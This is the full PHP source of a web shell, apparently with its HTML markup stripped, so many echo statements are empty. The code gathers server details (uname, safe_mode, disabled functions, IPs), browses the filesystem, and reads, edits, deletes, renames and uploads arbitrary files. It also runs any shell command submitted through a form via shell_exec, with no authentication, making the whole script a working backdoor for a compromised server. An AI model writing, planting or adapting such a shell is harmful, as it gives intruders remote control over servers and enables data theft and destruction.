set_time_limit(0);
error_reporting(0);
$change_dir = $_GET['dir'];
chdir($change_dir);
?>
$safe = ini_get("safe_mode");
if($safe == 1){
$safe_mode = "
ON";
}else{
$safe_mode = "
OFF";
}
$dis = ini_get("disable_functions");
if($dis == ""){
$disable = "
None";
}else{
$disable = "
$dis";
}
$uname = php_uname();
$server = $_SERVER['SERVER_ADDR'];
$me = $_SERVER['REMOTE_ADDR'];
echo "
Uname-a : $uname
Safe Mode : $safe_mode
Disable Functions : $disable
Server IP : $server
Your IP : $me
";
$d=isset($dir) ? $dir : getcwd();
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,strlen($d)-1));
$i = 0;
foreach($pd as $b)
{
$t = "";
reset($e);
$j = 0;
foreach ($e as $r)
{
$t.= $r.DIRECTORY_SEPARATOR;
if ($j == $i) {break;}
$j++;
}
echo "
".htmlspecialchars($b).DIRECTORY_SEPARATOR."";
$i++;
}
echo "
";
$dir = $_GET['dir'];
function rm_dir($dir){
if(isset($dir)){
$new = chdir($dir);
$real = realpath($dir);
$all = opendir($real);
while($entry = readdir($all)){
unlink($entry);
rmdir($dir);
}
}
}
$pwd = realpath(".");
$all = opendir(".");
echo "
Files |
Type |
Size |
Perms |
Action |
";
$dir = '.';
$directories = array();
$files_list = array();
$files = scandir($dir);
foreach($files as $file){
if(($file != '.') && ($file != '..')){
if(is_dir($dir.'/'.$file)){
$directories[] = $file;
}else{
$files_list[] = $file;
}
}
}
echo " |
Back |
Back |
Back |
";
foreach($directories as $directory){
echo "
$directory |
[DIR] |
".filesize($directory)." |
".fileperms($directory)." |
Rename - Del |
";
}
foreach($files_list as $file_list){
echo "
$file_list |
[File] |
".filesize($file_list)." |
".fileperms($file_list)." |
Edit - Rename - Del |
";
}
echo "
";
echo "
";
echo "
";
if($_REQUEST['action'] == "file_ed"){
$nF = $_GET['FILE'];
$all_f = htmlspecialchars(file_get_contents($nF));
echo "
";
if($_POST['edit_file']){
$con= str_replace("\\","",$_POST['ffile']);
file_put_contents($nF,$con);
echo "
";
}
}
if(isset($_GET['file'])){
$get = htmlspecialchars(file_get_contents($_GET['file']));
echo "
";
}
if($_REQUEST['action'] == "file_rm"){
$nF = $_GET['FILE'];
unlink($nF);
echo "
";
}
if($_REQUEST['action'] == "file_ren"){
$newF = $_GET['FILE'];
echo "
";
if($_POST['change_name']){
rename($_POST['old'],$_POST['new']);
echo "
";
}
}
if($_REQUEST['action'] == "del"){
$newD = $_GET['dir'];
rm_dir($newD);
echo "
";
}
if($_REQUEST['action'] == "ren"){
$dd = $_GET['to'];
echo "
";
if($_POST['change_name']){
rename($_POST['old'],$_POST['new']);
echo "
";
}
}
if($_POST['go_cat']){
$gn = file_get_contents($_POST['cat']);
echo "
";
}
if($_POST['go_mkdir']){
mkdir($_POST['mkdir']);
echo "
";
}
if($_POST['go_cmd']){
$gsn = shell_exec($_POST['cmd']);
echo "
";
}
if($_GET['go_ch']){
chdir($_GET['ch']);
}
if($_POST['go_file']){
$name = $_FILES['file']['name'];
$tmp = $_FILES['file']['tmp_name'];
copy($tmp,realpath('.').'/'.$name);
echo "
";
}
if($_POST['go_mkfile']){
$hand = fopen($_POST['mkfile'],"w");
fwrite($hand,"");
$good = realpath($_POST['mkfile']);
echo "
";
}
?>